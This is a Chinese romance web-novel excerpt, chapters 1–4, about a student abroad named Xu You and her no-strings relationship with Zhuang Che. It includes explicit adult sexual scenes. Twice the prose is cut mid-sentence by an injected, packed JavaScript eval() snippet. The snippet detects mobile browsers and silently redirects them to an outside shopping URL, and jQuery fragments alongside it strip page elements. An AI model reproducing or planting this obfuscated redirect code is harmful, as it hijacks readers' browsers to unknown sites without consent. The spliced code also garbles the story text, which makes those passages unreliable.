《例外》 1. 第 1 章 十二月底的Ｙ国，街边小店的橱窗被绿色的树和红色的小人，以及巨大的merrychristmas占满。 才下午五点，天便已经全黑了，空气中弥漫的寒意被路灯和橱窗里透出来的暖黄色的光驱散。 许由和好友手挽着手走在人烟稀少的街头。 许由念硕士课程的N大位于Ｙ国临海的Ｘ市，一条河流从Ｘ市之中穿行而过，带着这座城市的万家灯火和喧嚣缓缓汇入大海。 Ｘ市说是Ｙ国较为繁华的城市之一，但到了晚上，热闹的地方其实只有酒吧和节日的集市。 又是一阵冷风拂面，许由紧了紧脖子上的围巾，和好友一起加快步伐朝着商业街走去。 随着离商业街越来越近，街上冷清的氛围逐渐被欢快的圣诞歌曲替代，周围的行人开始变多，头顶上方黑沉沉的天空，被一排排悬挂的彩灯装点得五彩斑斓。 视野一下子变得明亮起来。 原本空旷的广场此刻搭起了一间间形式各异的木屋，各种美食、精美的手工艺品数不胜数，广场的正中央还搭了一个舞台，男歌手站在台上，一边弹吉他一边唱歌，歌曲许由没听过，但周围的气氛倒是很嗨。 许由三人出来时特地没有吃晚饭，她们一边逛一边吃，遇到一些外观搭建得精美奇特的店铺，也会停下来拍一张合照。 许由站在一旁等乔心和南瑾书找最佳拍照角度时，耳边突然传来“咔嚓”一声。 她转头看向声音来源处，男生还没来得及收起手机。 不等许由开口问，男生做贼心虚，脱口而出便是一句对不起。 ……竟然还是老乡。 许由走过去：“请问，你刚才是在拍我吗？” 男生脸憋得通红，紧张到话也说不清楚：“对、对、对不起，我不是故意的，只是觉得你很好看，就拍了……” 许由没有生气，只是温声询问：“你可以把刚才拍我的照片删掉吗？” 男生大概是见许由没有生气的缘故，鼓起勇气道：“其实……那张照片拍得挺好看的。” “不如我们加个微信，我把照片发给你吧。” 许由摇头，声音依旧温柔：“请你把它删掉。” 男生眼中的光暗下去，他当着许由的面，默默把手机里刚拍的照片删掉，最后，也郑重地向许由道了歉。 许由冲他笑笑：“没关系。” 今晚是跨年夜，除了市中心的圣诞集市之外，河边在凌晨十二点的时候还有一场烟花秀。 许由她们逛得都有些累了，经过简单的商议后，便决定先回公寓暂作休整，晚点再出发去河边看烟花。 许由所住的学生公寓是四个人的大套间，每个人的卧室都配备了独立的卫生间，厨房客厅则是单独的一间屋子，大家共用。 乔心南瑾书，以及当下“不知所踪”正和男朋友约会的夏玉莹便是许由的室友。 回到公寓之后，三个人进到厨房的第一件事是便是打开暖气。 Ｙ国这边的冷是干冷，和许由家乡的湿冷不一样。 许由家在南方，室内没有暖气，每到冬天最冷的时候，整个人就像是连带着衣服在水里泡过一遍，然后再拎到北风里吹一样，从最外面的羽绒服，冷到最里面的加绒款保暖内衣。 来了Ｙ国之后，天气虽然冷，但空气湿度低，再加上室内都有暖气，一向怕冷的许由在羽绒服里穿一件厚毛衣便能过得尚好。 屋子里很快变得暖和起来，许由脱掉厚重的羽绒服，将自己下午刚买的蛋糕从冰箱里拿出来，细心地分成三等份装盘，端到岛台上。 乔心趴在桌子上，眼睛一眨不眨地看着许由：“许由，如果我是男的，我一定会爱上你的。” 回房间拿平板电脑的南瑾书推门进来，恰巧听见乔心的话，调侃道：“你想太多了，如果你是男的，许由是看不上你的。” 许由一边倒果汁，一边一本正经地回答南瑾书那番调侃乔心的话：“不会呀，乔心如果是个男孩子，应该也是一个很可爱的男孩子，说不定我真的会被她吸引哦。” 乔心干嚎：“呜呜呜，小由由，你简直就是天使！是仙女下凡！” 南瑾书挨着许由坐下，一只手搭在桌上，侧身看她：“不过说真的，许由，你喜欢哪种类型的男生啊？声明，这不是替别人问的，就是纯好奇。” 刚才在街上，许由坚定拒绝男生的那一幕她和乔心都看见了，而这并不是许由第一次拒绝别人的示好，所以南瑾书不免好奇，许由到底会对哪种类型的男生感兴趣。 不等许由开口回答，乔心先意味深长地笑了起来：“我知道。” “许由你是觉得，咱们都出国了，怎么着也得亲一下洋嘴才算不虚此行，对不对？” 许由哭笑不得：“不是，我只是……” 她说到一半突然语塞，抿了抿唇，将脸侧滑落的碎发重新别到耳后。 乔心呆呆地看着许由，心跳倏地漏掉一拍。 岛台上方冷白的光线自上而下打在许由脸上，她半垂着眼，皮肤在灯光的映衬下像一块无瑕的白玉。 许由的面部线条柔和流畅，眉眼如画，一眼即惊艳，但因为气质恬淡安静，像现在这样不笑的时候，给人距离感十足，也带着几分我见犹怜的破碎感。 刚住进公寓见到许由，乔心被许由的长相惊艳到，以为她是个高冷的冰山美人，都不敢主动和她说话，两人间的破冰还是许由主动的。 然后许由在乔心心中刚建立不久的孤傲形象瞬间坍塌，变成了一个说话和风细雨的温柔美人。 等相处久了乔心才知道，许由的父母都是大学教授，也明白了许由身上那股恬静淡雅的气质从何而来。 “我就是……还没有遇到合眼缘的。”许由最后模棱两可地回答道。 南瑾书见状不再追问，乔心含羞带怯地看许由一眼，夹着嗓音道：“小由由，如果你不喜欢男的，我……愿意的！” 南瑾书闭眼，忍住了将果汁泼到乔心头上的冲动。 三人挑了一部电影来打发时间，是乔心吐血推荐的某部很出名的惊悚片，没有一惊一乍的鬼怪突脸，是偏血.腥暴.力那一挂的，用南瑾书的平板播放。 乔心在电影的片头出来时，便跑过来和许由南瑾书挤在一起，看到恐怖的地方更是大叫着扑进许由怀里。 许由倒没觉得有多吓人，搂住乔心，好笑地问：“既然这么怕，那干嘛又要选这一部？” 乔心从她怀里抬头：“这部电影我一个人不敢看，只能跟你们在一起的时候看。” 看完电影，时间来到晚上十一点过，三个人将厨房收拾干净，便准备出门去河边看烟花秀了。 许由的手机在看电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261622|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影的时候一直倒扣在桌上，她看得太入迷，也没去注意手机里有没有来消息，临出门前才想起来看看，发现有一则一个小时前发来的消息。 ［－.－：在哪？］ 那人只发来了这么一条，后面大概是见她没回，没有再发。 许由快速扫了一眼，然后便锁上屏幕，将手机揣进衣服兜里。 － 越靠近河边，街上的人就越多。 许由她们到的晚，像桥上这种视野比较好的位置已经挤满了人，乔心不想被人挤成大饼，拉着许由南瑾书在人群中拱来拱去，总算是在河边，靠近桥洞的位置找到了一处勉强不是那么拥挤的地方。 随着时间临近十二点，周围的人群逐渐躁动起来。 “Ten！” 不知道是谁开始倒数，人们听到后纷纷加入。 “Nine！” 许由一边跟着倒数，一边仰头满眼期待地看着头顶漆黑一片的夜空。 大概是因为烟花秀即将开始，身后突然有人开始往前挤，许由毫无防备，被推搡着往旁踉跄了几步，闷头撞上一个坚实的后背。 许由显然还处在状况之外，这一撞更是将她撞得晕头转向，眼看着晕晕乎乎地就要朝后仰倒，一只大手迅速绕过她的腰后揽住，帮她稳住了重心。 “Five！” 这边发生的小插曲丝毫吸引不了躁动的人群的注意力，大家倒数的声音越来越大。 而揽在许由腰后的大手忽然发力，下一秒，许由被圈进了一个温暖的怀抱。 许由刚想挣扎，却闻到了一股熟悉的，像刚下过雨后的草坪，清冽干净的味道，她推拒对方的动作一顿。 “Two！” “One！” “Happynewyear！”周围爆发欢呼。 与此同时，温热的气息扑洒在许由耳畔，男生嗓音低沉：“新年快乐。” “砰砰砰！” 烟花接连在头顶的夜空中炸开。 许由抬头，对上了一双含笑的眼眸。 和男生背后深蓝色的天幕不同，他的瞳孔更像是经过精细研磨的墨，深不见底的黑。 以往的每一次对视，无论是平静的，还是意识迷离的，许由都感觉自己好像被吸进了无底的深渊，抓不住任何东西，只是无止境地往下坠落。 而这一次，焰火落进那片沉静的黑海，激起的涟漪轻柔地将许由托起。许由不再下坠，而是跟随波浪不断起伏。 “许由？许由人呢？” “许由！许由！” 乔心和南瑾书的呼唤从背后传来，许由当即回神，准备后退和男生拉开距离。 男生依旧笑着，扶在许由腰上的手力道不减，又上前一步，更加紧密地和许由贴在一起。 “你干什么？” 许由错愕，瞪大眼睛看他。 乔心和南瑾书的声音越来越近。 许由开始挣扎，男生轻松将她制住，那张恣意张狂的俊脸在不断变换颜色的光影中逼近。 周围都是人，虽说大家此刻的注意力都在烟花上，但毕竟是在外面，因此男生靠近时，许由下意识地偏头躲避。 温热柔软的触感因此落在耳廓。 一个快到许由来不及反应的吻。 “焰火结束之后，来找我。” 2. 第 2 章 “许由！” 南瑾书乔心费劲千辛万苦，终于挤到许由身边，南瑾书左右看了看，疑惑地开口：“你怎么被挤到这里来了？” 乔心则是激动地挽上许由的胳膊，看着逐渐消失在人群深处的那抹欣长身影：“刚才那人是庄彻吧，许由，你居然认识庄彻？” “砰！” 头顶又炸开一朵巨大的金色烟花，一道道金色的光束划过天际变为闪烁的蓝色星芒，落进许由平淡无波的眼底，而后熄灭。 许由摇头：“不认识。” 乔心撇撇嘴：“也是，你和他不是一个学院的，怎么可能认识。” 南瑾书打趣她：“你想认识庄彻？他人还没走远呢，你现在追上去要他电话还来得及。” 乔心连连摆手：“算了算了，许由去要还差不多，我去，估计人家压根不会搭理我，我就是看他刚才和许由靠的挺近的，还以为许由认识他呢。” “而且你不觉得许由和庄彻很搭吗，他俩刚才什么都没做，就是站在那里，都很赏心悦目！” “还是别了，再赏心悦目也别。”南瑾书立刻反驳乔心，“庄彻的那些情史你知道的比我和许由都清楚吧，他对待感情就一个字，玩！” “咱们许由这么乖，可千万别招惹上他。” 许由闻言，眉头微不可察地跳了两下，解释道：“我只是不小心撞到他，跟他说句抱歉而已。” “这样啊。”乔心点点头。 趁着乔心和南瑾书抬头看烟花，没注意自己这边，许由掏出手机给庄彻发消息： ［我今天晚上有事，去不了。］ 消息发出的下一秒，对话框上跳出正在输入的字样。 ［－.－：多晚都没关系，我在你公寓楼下等你。］ …… 烟花秀持续了十多分钟，结束之后，围在河边的人们恋恋不舍地离开。 许由她们也慢慢地往回走。 途径一家club，门口排队的人拐了好几个弯，都是看完烟花准备换个场子再好好嗨一下的。队伍里不乏穿着清凉解暑、金发碧眼的洋妞，乔心经过她们，忍不住打了一个寒战。 “这么冷的天，她们穿这么少真的不冷吗？” 南瑾书也吐槽道：“夏天穿羽绒股，冬天穿吊带，洋人的体感温度是个迷。” club再往前走一小段路，便到了分岔路口，许由停下脚步。 “你们回去吧，我……有点事，今天晚上应该不回去了。” “什么？” 乔心和南瑾书闻言，双双诧异地看着许由。 从许由九月份住进公寓开始，她便向三位室友展现了非常健康的作息——晚上十二点之前必定会上床睡觉，从不熬夜，也没有夜不归宿过，这还是第一次。 许由被两人盯得有些心虚。 她和庄彻的事，乔心她们并不知晓，因为觉得没有必要。 一段并不以真心开始的关系，一段注定长久不了的关系，没有必要公之于众，这样也可以避免突兀地结束之后，大家的嘘寒问暖，以及一些旁敲侧击打听消息的“吃瓜群众”。 许由是个很不喜欢麻烦的人。 今晚庄彻冷不丁来这么一出，许由其实是不想去的。 但庄彻是个不达目的不罢休的性子，许由担心如果不去，他保不准真会跑去公寓楼下堵自己，只能绞尽脑汁地编了个理由来应付乔心南瑾书她们。 “是我同学，叫我去她公寓一起跨年，庆祝新的一年嘛，高兴。” “你们不用担心我。” 原来如此。 乔心南瑾书对许由的话不疑有他，和许由在路口分别，走之前，还不忘对许由说一句“新年快乐”。 转过拐角，街道上的行人骤减，许由一眼便看见前方不远处，那道歪靠在路灯下的修长身影。 冷白的光落在他的头顶和肩膀，像是覆了一层薄薄的雪，让男生本就生得凌厉的眉眼透出丝丝缕缕的凉意。 那双狭长的黑眸自许由出现在街道尽头起，便一瞬不瞬地看着她。 许由脚步顿了顿。 庄彻在他们这一届的留学生中非常出名，属于是无人不知，无人不晓。 但不仅仅是因为出众的外貌，还因为九月份他刚搬进学生公寓时，从Ｙ国Ｌ市追着他来到Ｘ市的那位，对他旧情难忘的前女友。 听说被庄彻再次拒绝后，那位前女友的哭声萦绕在庄彻住的公寓周围，直到第二天早上才弱下去。 而当天晚上的Ｎ大新生群里则是流传起一则恐怖故事——听说ＸＸ学生公寓有人半夜睡觉的时候，被窗户外的一阵哭泣声吵醒，凄婉悲凉，如泣如诉，可等他从窗户往外看，又什么都没有看见…… 传言有夸张的成分，但庄彻游戏人间的浪荡公子哥形象却因此在众人心中根深蒂固。不过即便是这样，每天新生群里还是会被和庄彻有关的消息刷屏。 就连许由一个不喜欢八卦的人，都因此知道了庄彻的许多“往事”。 许由一步一挪，不过几十米的距离，愣是走了好几分钟。 庄彻倚在路灯下，好整以暇地看着她慢慢磨，也不催她。 终于，许由走到了庄彻跟前，仰头看他。 庄彻嘴角挂着一抹漫不经心的笑，似乎打从一开始便笃定她会来。许由见到他这副势在必得的模样，心里不由有些气闷，像是赌气一般，他不开口，她便也紧闭着嘴不说话。 两人沉默地对视片刻，庄彻忽然抬手揉乱许由的头发，让长发挡住那双水色氤氲的眼睛，哼笑一声：“走了。” 庄彻所住的学生公寓离河边不远，只有几分钟的路程，很快便到了。 庄彻掏出房卡开门的时候，许由耷拉着脑袋靠墙等着。 “滴滴。” 门被打开。 下一秒，许由手腕处突然传来一股巨力，惊呼声只短促地响起一瞬，便被关门声掩盖。 没等许由反应过来发生了什么，黑暗的屋内，滚烫灼热的吻如疾风骤雨一般朝她落下。 庄彻将她抵在门上，一只手揽住她的腰，一只手掌在她脑后，方便自己进一步索取。 绞弄，纠缠，将她的唇齿间都沾染上自己的味道。 许由推拒庄彻的手逐渐卸了力道，改为攀着他的肩。 她和庄彻之间，从来没有循序渐进这一说法。 许由的身高有一米六五，放在南方不算矮，但在庄彻将近一米九的身高前就有些不够看了。 大概是觉得低头弯腰亲着不舒服，庄彻一把将许由抱起，分开她的腿让其绕在自己的腰上，两只手从下托住她，仰头，更深一步地攻城掠地。 许由被亲得晕头转向，再次被庄彻放开时，只感觉自己眼前蒙了一层湿漉漉雾气，连面前庄彻的脸都看不太清楚了。 “啪。” 庄彻打开了灯，突如其来的刺眼光线激得许由眯起眼，庄彻则是气息急促，眼神直勾勾地盯着她。 就这么看了一会儿后，他抱着许由朝屋里走，先去打开暖气，然后走到沙发旁边坐下，让许由以面对面的姿势坐在自己的腿上。 他抬手将许由的围巾解下，又去脱她的羽绒服。 许由抓住他的手：“我，我不要在这……” “去床上……” 庄彻单手轻松反制住许由，空余的那只手从她毛衣下摆钻进去：“晚点再去。” 略有些粗糙的指腹缓缓抚过腰侧，激起一阵颤栗。 许由今天内搭的是一件浅卡其色的圆领羊毛衫，这个颜色将她衬得乖顺绵软，但又因为她此刻脸上异样的红晕和嫣红的嘴唇，而多了几分旖旎滋味。 庄彻喉结上下滚动几下，箍着许由的腰，迫不及待地仰头，从许由的下巴一直轻啄到耳后。 暖气温度并没有开很高，但屋内温度依旧升的很快。 衣服裤子凌乱地堆叠在沙发的角落，浅卡其色的羊毛衫颤颤巍巍地搭在沙发扶手边缘，没过多久，被一只细伶伶的手臂给拂到地上。 许由长发被汗水沾湿黏在后背，有点不舒服，她不自然地扭动了两下，被庄彻察觉，掌着她的腰又让她坐回原位。 视线内的一切事物都在晃动，没过多久，又蒙上一层朦胧的水雾。 头发在剧烈的颠簸中滑到前头来，又被庄彻拨回后面。 “之前为什么不回我消息？”庄彻突然问。 “什、什么？”许由意识模糊，听到了问话，却无法把这些字拼凑成一条完整的信息。 话落，庄彻猛地用力，不过先叫出声的不是许由，反倒是他自己。 “咝。” 庄彻倒吸一口凉气，侧头去看自己手臂上那道“新鲜出炉”的血痕，哼笑道，“你下手是真狠，我背上那几道还没好呢，你这又给我新添了一道。” 许由当即松了手上的力道，表情讪讪，语气抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261623|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨：“是你先招惹我的。” 庄彻放缓了速度，两手扶住许由的腰。 一股淡淡的甜香忽远忽近。 许由的皮肤很白，在灯光下更是白的晃眼，也因此衬得那点异色尤为明显。 庄彻只觉得一阵口干舌燥。 许由忍不住轻哼，手搭在庄彻肩膀上，看着他：“你刚才问我什么？” “我问——” 庄彻再也按捺不住，倾身而上：“为什么不回我的消息。” 他在用一个又一个的啄吻，去回应许由过速的心跳。 “我那时候在看电影，没、没看到。” 庄彻笑了声，唇瓣愈发的滚烫灼人：“那看完电影呢，为什么不回我？” 许由小声抽气，呼吸越来越乱。 她想起家乡在夏季暑气正浓时，偶尔会毫无预兆地下一场，来得快去得也快的太阳雨。 潮湿，但依旧闷热。 此刻那场太阳雨落在她心口，水声连绵，亦是裹挟着闷热的风，和潮湿的水汽。 她忍不住抬手抱住庄彻的脑袋，黑硬的头发从她指缝中钻出：“你、你只发了一条就不发了，又不说、找我什么事……” “干嘛要回。” 最后一句话，她说得理直气壮。 “行，那我下次注意。” 庄彻又笑了，笑得胸膛都在震动，连带着许由也跟着震，酥麻的感觉让她瞬间失去了全部力气，整个人化成一滩水，软软地趴在庄彻身上。 庄彻停止动作，抱着她起身，上楼。 庄彻住的是单人套间，客厅厨房都是独立的，在楼下，楼上则是卧室和卫浴。 他抱着许由倒在床上，过程中一直没出来，许由被磨得难受，手攀着他脊背，又顾忌着刚才不敢用力。 庄彻撑起身看她，开始动作的同时又吻了上去，将所有细碎的呜咽尽数吞下。 两个人回到公寓时便已经快一点了，可庄彻今晚精神头似乎特别足，一直折腾到后半夜才结束，抱着许由去浴室清理。 许由累到动一下手指都困难，手臂、腰、腿，哪哪都酸，意识模糊，由着庄彻帮自己擦身，最后陷进柔软的被窝时，嘟囔着问了一句：“几点了？” 庄彻拿起手机看了一眼，又挪过来抱住她：“快五点了。” “你真的很烦……” 许由用尽最后的力气骂了一句，而后意识便沉入黑暗里。 － 热…… 好热…… 半梦半醒间，许由感觉自己好像被什么滚烫的东西紧紧裹住，她挣扎了一下，换来的却是更紧的束缚。 许由被热醒了。 她睁开眼，几缕微光从遮光帘的缝隙里钻进来，照在她脸上，但屋内光线仍旧十分昏暗。她热得难受，转了一下头，发现自己枕着的不是枕头，而是一条手臂。 掀开被子，腰上也搭着一只手。 再往下，腿上还搭着一只腿！ 庄彻像条八爪鱼一样缠在她身上，怪不得她会热呢。 后背紧贴的胸膛心跳沉稳有力，扑洒在颈后的呼吸绵长。 许由郁闷地将腰上的手臂掰开，又去搬那条死沉死沉的腿，还没等她搬动，手臂便落了回来，放在她腰上一勾，同时脑袋底下枕着的那条手臂也抬起来，从前揽住她。 这下好了，“捆”得比刚才更紧了。 庄彻下巴在许由头顶蹭了蹭：“还早，再睡会。” 许由不死心地挣扎了一下：“我热！” 庄彻大手一挥把被子掀开：“现在不热了。” 许由：“……” 她虽然没有回头，但也能感觉得出来庄彻是没穿上衣的，倒是给她套了一件宽大的Ｔ恤。 屋子里有暖气，但不穿上衣睡觉，肯定是会着凉感冒的。 许由叹了一口气：“你要是感冒了，最近这段时间就别来找我了，会传染的。” 少倾，背后抵着的那个胸膛开始震动，越来越厉害。 许由正要回头问庄彻笑什么，身上突然一轻。 “行吧。” 庄彻坐起身，揉了揉头发，而后慢悠悠地朝浴室走去。 许由想看时间，在枕头底下摸了半天也没摸到手机，这才想起来手机似乎和她的羽绒服一起留在楼下了，她伸长手臂去摸庄彻的手机。 下午一点。 都下午一点了，还早什么早！ 3. 第 3 章 许由等庄彻洗完了之后才进浴室洗漱。 庄彻的Ｔ恤对她来说过于宽大了，领口松垮，一低头便能看见锁骨下方那些星星点点的痕迹，那些痕迹蔓延进衣服里，又从Ｔ恤下摆延伸出来，就连左脚脚腕处也有一道浅浅的齿痕。 因此，许由洗漱完毕后，迅速去到楼下，换上了自己的衣服裤子。 庄彻站在冰箱前，扶着冰箱门看许由穿衣服，等她穿完，开口问：“你的脸干吗？” 许由没听清：“什么干不干？” 庄彻：“楼上书桌的抽屉里，有一瓶面霜，你的脸如果觉得干的话，可以拿来用。” 许由拒绝：“算了，我皮肤很敏感的，不敢乱用。” “是你用的那个牌子。” 许由奇怪地看着他：“你知道我用哪个牌子吗？” 庄彻手搭在冰箱门上，好笑地看着她，还学她说话：“之前黑五的时候，我不是都看见了吗。” 许由想起来了，前段时间黑色星期五，她和乔心去商场大采购，正好撞见陪朋友来买东西的庄彻。 两人那时候刚刚确定关系，在周围有认识的人的情况下，许由还做不到像现在这样心如止水，避开庄彻看向自己的视线，拉着乔心匆忙离开。 想到这，许由更疑惑了：“你为什么会有女生的护肤品？” 庄彻从冰箱里拿出一盒剔了骨的鸡腿肉，漫不经心地回：“买东西送的。” 又问：“吃咖喱鸡肉可以吗？” 许由见状，看出他不愿意多答，留下一句随便。 怎么可能是买东西送的，那牌子的面霜不算便宜，许由平时也只在有活动或者打折的时候才会下手多囤一些。 走到庄彻的书桌旁边拉开抽屉，里面果然放着一瓶面霜，就是她平时用的那一款。 面霜是新的，还没有拆封过。 是本来打算买来送给什么人，但却因为某种原因没送出去吗？ 许由坐在桌边盯着那瓶面霜发了会儿呆，直到听见楼下传来的切菜声才回神，拧开盖子胡乱抹了点在脸上，然后又装回盒子里放好。 庄彻高中毕业之后便到Ｙ国来念书了，比许由多了几年做菜的经验，在许由的水平暂时停留在只会做炖菜的时候，他蒸煮爆炒每样都做得挺像模像样的，许由吃过几次，虽然有点不服气，但她不得不承认，庄彻做菜是要比她好吃那么一点、点。 很快，两盘热气腾腾的咖喱鸡肉盖浇饭便被端上桌。 许由拿起勺子，一边吃，一边把盘子里的胡萝卜丁给挑出去。 庄彻见状挑眉问道：“你不吃胡萝卜？” 许由：“嗯，不爱吃。” 庄彻没再多问。 吃完饭许由便收拾收拾东西准备走人了，庄彻倚在墙边，抱臂看她一点一点把自己裹成一个粽子。 “晚上刘恒睿他们喊喝酒，一起去？” 许由头也不抬：“不，我要回去睡觉。” 庄彻眯了眯眼，一双黑沉的眸子看不出任何情绪。 “行。” 和许由不同，庄彻在二人确定关系的第二天，便领着许由去赴了朋友的酒局。 酒吧光线昏暗，卡座内，有男生在看到许由后，饶有兴味地吹了一声口哨。 “还以为咱们彻哥被哭出心理阴影，打算封心锁爱一段时间清静清静呢，没想到咱彻哥憋了两个月，原来是打算憋个大的。” 庄彻骂了那个男生一句，拉着许由在卡座坐下，桌上众人似乎早已对庄彻带陌生女孩来赴酒局的行为见怪不怪，目光并没有在许由身上停留多久，话题很快聊开。 卡座里的男生吞云吐雾，有人给庄彻递过来一支烟，庄彻没接。 他不爱抽烟，只有心情不好的时候才会偶尔抽一支。 许由端着酒杯安静地坐在沙发里，整个人被烟味和震耳欲聋的鼓点声包裹，几个小时下来只觉得胸闷气短。 她不太喜欢这样的氛围。 因此，之后庄彻再叫她一起去跟朋友吃饭时，她总是会找各种各样的借口拒绝。 － 许由回去之后，又倒在床上昏天黑地地睡了一觉，等再次醒来，发现已经快晚上八点了，她翻身下床，从衣柜里翻出一件高领毛衣给自己套上，遮住身上那些暧昧的痕迹，然后才敢出房间去厨房做饭。 乔心和南瑾书早就已经吃完饭了，厨房里空无一人，而她们另一位室友夏玉莹则是经常在她男朋友那留宿，一周有三四天都不回来住。 许由估摸着夏玉莹今天晚上应该也不会回来了。 她打开冰箱冷冻室，拿出一盒排骨给自己做糖醋排骨吃。 “许由？” 乔心推门进来，见到灶台旁边的许由，欣喜道：“你玩到现在才回来呀，没吃晚饭吗？” 许由解释：“不是，我下午其实就回来了，但昨天晚上……熬了夜，所以在房间里补觉，睡到现在才醒。” “哦。” 乔心往许由身前正在咕嘟咕嘟冒泡的锅里瞄了一眼：“你在做什么呀？” 许由：“糖醋排骨。” 乔心语气迟疑：“糖醋……排骨吗？那为什么有这么多汤？” 许由笑笑：“我觉得只吃排骨营养太单一了，就放了点我喜欢的配菜进去，有土豆，番茄，西蓝花，还有蘑菇，后来发现汤少了，就又加了一点水进去。” “我煮了很多，你要不要也来吃点？” “不了不了，”乔心连连摆手，“我，我，我吃了晚饭的，我不饿，哈哈，我就是嘴馋，想吃点冰激凌，哈哈。” 乔心生怕许由给她盛一碗糖醋排骨汤来喝，忙不迭走到冰箱旁边，找出一桶冰激凌来抱着。 许由见状也不劝她，用汤勺舀了一瓢汤尝了尝咸淡，觉得味道够了便关火，盛出自己一会要吃的份量，然后剩下的放在一旁，等凉了之后放进冰箱里，明天吃。 嗯，味道其实挺不错的，就是汤多了一点，下次改进。 许由对自己的厨艺很满意。 乔心则是坐在许由对面看着她吃。 哎，许由哪里都好，外貌好，性格好，就是这厨艺令人……不敢恭维。 有句老话说的没错，当上帝为你打开了一扇门，就会为你关上一扇窗，许由被关上的那扇窗，应该就是厨艺吧。 吃完这顿算得上是宵夜的晚饭，许由洗干净碗筷，把灶台收拾干净，又坐回岛台旁边和乔心聊天。 倒扣在手边的手机突然震了震，拿起来一看，是庄彻发来的消息，问她醒了没有。 许由刚回了两字“醒了”，厨房门再次被人从外推开，几天没见的夏玉莹垮着一张脸走了进来。 乔心诧异：“哟，今天可是新年的第一天，你怎么没跟你的亲亲男友享受美好的二人时光？” 夏玉莹将手里提着的袋子不轻不重地往岛台上一甩，发出叮铃当啷的声响：“别跟我提他。” 许由伸手拉开袋子的一角，往里瞄一眼，是楼下小超市里卖的那种度数很低的果酒：“你们是吵架了吗？你这是要，借酒浇愁？” 乔心眼睛唰地一下亮起。 很快，窝在房间里看电视剧的南瑾书就被乔心一条“骂人，速来”的消息给叫到了厨房。 夏玉莹和她的男友是来到Ｙ国之后才认识的。 当时正值九月初，处于留学生们基本都到了Ｙ国，但还没有开学的状态，Ｎ大中国学联举办了一场联谊会，目的是为了让这一届的新生们相互认识，广交朋友。 夏玉莹在联谊会上和她现任男友一见钟情，迅速坠入爱河。 两个人在一起后，三天一小吵，五天一大吵，但许由偶尔在外面碰上他们，两人还是甜得跟蜜里调油似的。 乔心举起自己的杯子和夏玉莹的杯子碰了碰：“好了，现在可以开始骂你的男朋友了。说吧，这次他又怎么了？” 夏玉莹仰头猛灌自己一大口酒：“说起他就一肚子的气。” “整天就知道打他那个破游戏，我问他中 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她的腰现在还酸着呢。 ［－.－：知道你不舒服，所以叫你来我这，我给你做饭。］ 许由：我有吃的，我今天晚上自己做了。 ［－.－：你做的？］ 许由看着庄彻发来的简短的三个字，怎么看怎么刺眼：我做的怎么了？ 庄彻回复得很快。 ［－.－：嗯，你做的好吃。］ 许由在心里默默念叨一声敷衍，每次在庄彻那都是他做饭，许由还没有找到机会给他露一手，他哪里知道自己做菜好不好吃。 她继续敲字：不来，还有半个月就开学了，我得开始复习了。 是的，Ｎ大的期末考试并不是在学期的末尾，而是在下一个学期的开始，许由也不明白这么安排的原因是什么，难道是想让学生们过个不被成绩安排的假期？ ［－.－：行］ “许由。” 桌上，夏玉莹忽然叫许由的名字，许由抬头。 “你和你前男友在一起的时候，会经常吵架吗？” 乔心闻言皱起眉：“你这个问题问的不对吧，如果两个人在一起不吵架，就不会分手了呀，那怎么还会变成前男友？” 许由却被夏玉莹的问话给问得恍惚了几秒。 她有过两段感情，第一段是在大学时期谈的，可以说双方父母都对这段感情非常的满意，她和对方的相处也十分和谐。 稳定，但平淡。 直到后来两人面对面坐在一起，决定结束这段感情的时候，也依旧是平淡到没有一丝波澜。 第二段就是现在和庄彻了。 而她和庄彻这段随便来阵风就能吹散的关系，居然奇迹般地也没吵过架。 不知道为什么，在听到夏玉莹的问话后，许由脑海中接连浮现的全部都是最近一个多月和庄彻相处的点点滴滴。 许由摇头：“好像没吵过。” 夏玉莹下巴快掉到桌上：“那你们为什么会分手？” 为什么会分手啊。 一段关系中两人没吵过架，可以是因为两人太过在意对方，心甘情愿地迁就，也可以是因为不在乎，所以无论对方做什么，都没关系无所谓。 而她和庄彻，应该属于第二种。 许由突然觉得有些好笑，她的两段关系，开始的初衷分明是不同的，却殊途同归。 她抿了口酒，语气平淡地说：“因为不在乎吧。” 桌上氛围突然安静下来。 其余三人都或多或少地察觉出来许由现在兴致不高，夏玉莹表情悲壮地和许由碰了碰杯：“同是天涯失意人，啥都不说了，干了这一杯！” 冰冰凉凉、带着果香的酒水刺激着味蕾，有些还没来得及分辨出的情绪被微醺感覆盖，很快不见了踪影。 4. 第 4 章 第二天，时间临近正午，许由才揉着脑袋，从床上爬起来去厨房觅食。 然后在厨房里碰见了同样脸色萎靡，像是被抽干了精气的乔心以及南瑾书。 三人无言对视半晌。 “夏玉莹呢，还在睡觉吗？”许由问。 南瑾书耸耸肩：“和她男朋友和好啦，又甜甜蜜蜜地过二人世界去了。” 乔心不敢置信地瞪大眼睛：“什么时候？！” 南瑾书：“就九十点钟的时候吧，她男朋友抱了一大束花在公寓楼下等她，两个人没说几句话就抱上了。我起来喝水的时候，从窗户那看到的。” 乔心摇头啧嘴：“我看她昨天晚上骂得那么狠，还以为这次能撑一天呢，结果这才过了一个晚上居然就妥协了。” 许由莞尔。 不知道是不是许由说要好好复习的斗志激励了庄彻，之后的一周，庄彻只简单在微信上询问她的情况，没再约她出去。 